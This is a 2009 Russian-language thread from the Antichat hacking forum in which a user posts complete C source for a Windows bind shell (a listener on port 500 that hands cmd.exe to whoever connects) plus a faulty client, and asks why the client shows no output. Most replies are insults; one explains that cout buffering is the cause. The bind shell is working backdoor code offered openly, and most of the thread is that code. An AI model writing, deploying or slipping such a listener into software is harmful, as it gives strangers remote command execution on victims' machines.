ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Клиент для bind shell'a
  #1  
Старый 06.04.2009, 18:42
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию Клиент для bind shell'a

Как должен выглядеть такой клиент?А то с обычным телнетом шеллы работают.А если пытатся слать в них по принципу принял-отправил-принял то ничего неполучается.
Вот шелл на основе которого пытаюсь разобратся
Код:
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
int main()
{
struct sockaddr sockadr2;
	struct sockaddr_in sockadr;
	struct hostent    *host = NULL;
	long handle;
	PROCESS_INFORMATION cmdproc;
	STARTUPINFO cmdrun;
	WSADATA wsaData;
	SOCKET sock;

	WSAStartup(MAKEWORD(1,1), &wsaData);
	sock = socket(AF_INET, SOCK_STREAM,0);
 
    sockadr.sin_family = AF_INET;
    sockadr.sin_port = htons(500);	
	sockadr.sin_addr.s_addr = htonl(INADDR_ANY);

	bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr));
	listen(sock, 0);
	
	while(true){
		handle = accept(sock, &sockadr2, 0);
		if(handle != INVALID_SOCKET){
			ZeroMemory(&cmdrun, sizeof(cmdrun));
			cmdrun.cb = sizeof(cmdrun);
			cmdrun.hStdInput = (void *)handle;
			cmdrun.hStdError = (void *)handle;
			cmdrun.hStdOutput = (void *)handle;
			cmdrun.dwFlags = STARTF_USESTDHANDLES;
			CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);
			WaitForSingleObject(cmdproc.hProcess, INFINITE);
			CloseHandle(cmdproc.hProcess);
			CloseHandle(cmdproc.hThread);
			shutdown(handle, 1);
			CloseHandle(&handle);
		}
	}
}
А вот это я пытался сделать клиент:
Код:
int main()
{
char *buf=new char[1024*1024];
SOCKET s;SOCKADDR_IN adr;WSADATA wsd;
WSAStartup(MAKEWORD(2,0),&wsd);
adr.sin_family=AF_INET;
adr.sin_port=htons(500);
adr.sin_addr.s_addr=inet_addr("127.0.0.1");
s=socket(AF_INET,SOCK_STREAM,0);
getch();
connect(s,(sockaddr*)&adr,sizeof(adr));
Sleep(1000);
for(;;)
{
recv(s,buf,1024*1024,0);
if(strlen(buf)>0)
{
cout<<buf;
memset(buf,NULL,strlen(buf));
cin>>buf;
send(s,buf,strlen(buf),0);
}
if(strcmp(buf,"exit")==0){break;}
memset(buf,NULL,strlen(buf));
}
delete []buf;
}
 
Ответить с цитированием

  #2  
Старый 07.04.2009, 14:03
12usver12
Познающий
Регистрация: 12.12.2007
Сообщений: 81
Провел на форуме:
589075

Репутация: 53
По умолчанию

CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);

это че за убожество
 
Ответить с цитированием

  #3  
Старый 07.04.2009, 18:22
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Цитата:
Сообщение от 12usver12  
CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);

это че за убожество
Накручиваем посты?Я спрашивал про клиент а не про шелл.Если нечего по теме скзать то надо молчать.
 
Ответить с цитированием

  #4  
Старый 07.04.2009, 18:27
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
Провел на форуме:
5265510

Репутация: 455


По умолчанию

Цитата:
принял-отправил-принял
Это как?
Что не получается? какая ошибка?
 
Ответить с цитированием

  #5  
Старый 07.04.2009, 19:11
panda gorl
Новичок
Регистрация: 19.03.2007
Сообщений: 5
Провел на форуме:
6319

Репутация: 0
По умолчанию

C нормальным биндшеллом клиентом выступает telnet.
Зачем клиент?
И правильно ли я понимаю, что WaitForSingleObject(cmdproc.hProcess, INFINITE); будет ждать завершения процесса? Следовательно, если клиент будет завершен некорректно (не через exit), то биндшелл повиснет и не будет больше принимать соединения?
 
Ответить с цитированием

  #6  
Старый 07.04.2009, 19:15
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Цитата:
Сообщение от gold-goblin  
Это как?
Что не получается? какая ошибка?
Код я привел выше.От шелла ничего на recv неприходит.
 
Ответить с цитированием

  #7  
Старый 07.04.2009, 19:27
panda gorl
Новичок
Регистрация: 19.03.2007
Сообщений: 5
Провел на форуме:
6319

Репутация: 0
По умолчанию

Вообще, мне кажется ты гонишь. Как у тебя такой биндшелл вобше компилится будет с windows.h и winsock2.h одновременно то?
 
Ответить с цитированием

  #8  
Старый 07.04.2009, 20:39
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Цитата:
Сообщение от panda gorl  
Вообще, мне кажется ты гонишь. Как у тебя такой биндшелл вобше компилится будет с windows.h и winsock2.h одновременно то?
Ещё раз для особо одареных :шелы обсуждайте в другой теме.Здесь обсуждается почему в качестве клиента телнет работает нормально ,и что надо самописному коду чтоб он тоже работал с ним нормально.
 
Ответить с цитированием

  #9  
Старый 08.04.2009, 21:42
panda gorl
Новичок
Регистрация: 19.03.2007
Сообщений: 5
Провел на форуме:
6319

Репутация: 0
По умолчанию

Самописный код писал такой же безрукий как и сам биндшелл.
На recv здесь все прекрасно приходит. А вот печатать это он не будет, так как cout ждет перехода строки для вывода на экран. Использование printf исправляет ситуацию.
Об остальных идиотизмах этого кода я вообще молчу (надо как минимум проверять возвращенное от recv значение на SOCKET_ERROR и != 0 и в зависимости от результата брякать, на exit вообще не проверять, поставить условия и т.п. и т.д.).

Советую автору кода не программировать больше никогда.
 
Ответить с цитированием

  #10  
Старый 08.04.2009, 22:06
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Цитата:
Сообщение от panda gorl  
Самописный код писал такой же безрукий как и сам биндшелл.
На recv здесь все прекрасно приходит. А вот печатать это он не будет, так как cout ждет перехода строки для вывода на экран. Использование printf исправляет ситуацию.
Об остальных идиотизмах этого кода я вообще молчу (надо как минимум проверять возвращенное от recv значение на SOCKET_ERROR и != 0 и в зависимости от результата брякать, на exit вообще не проверять, поставить условия и т.п. и т.д.).

Советую автору кода не программировать больше никогда.
Советую автору поста не тролить больше никогда.
ЗЫ:Все еда закончилась
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Создание сети: обжимка проводов petrovich-lamer Windows 13 02.07.2007 13:18
Софт для мобильных телефонов под *nix Grrl Сотовый фрикинг 2 02.03.2007 01:47
Программы для работы с железом. Часть 2 – материнские платы _GaLs_ Аппаратное обеспечение 0 19.11.2006 12:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ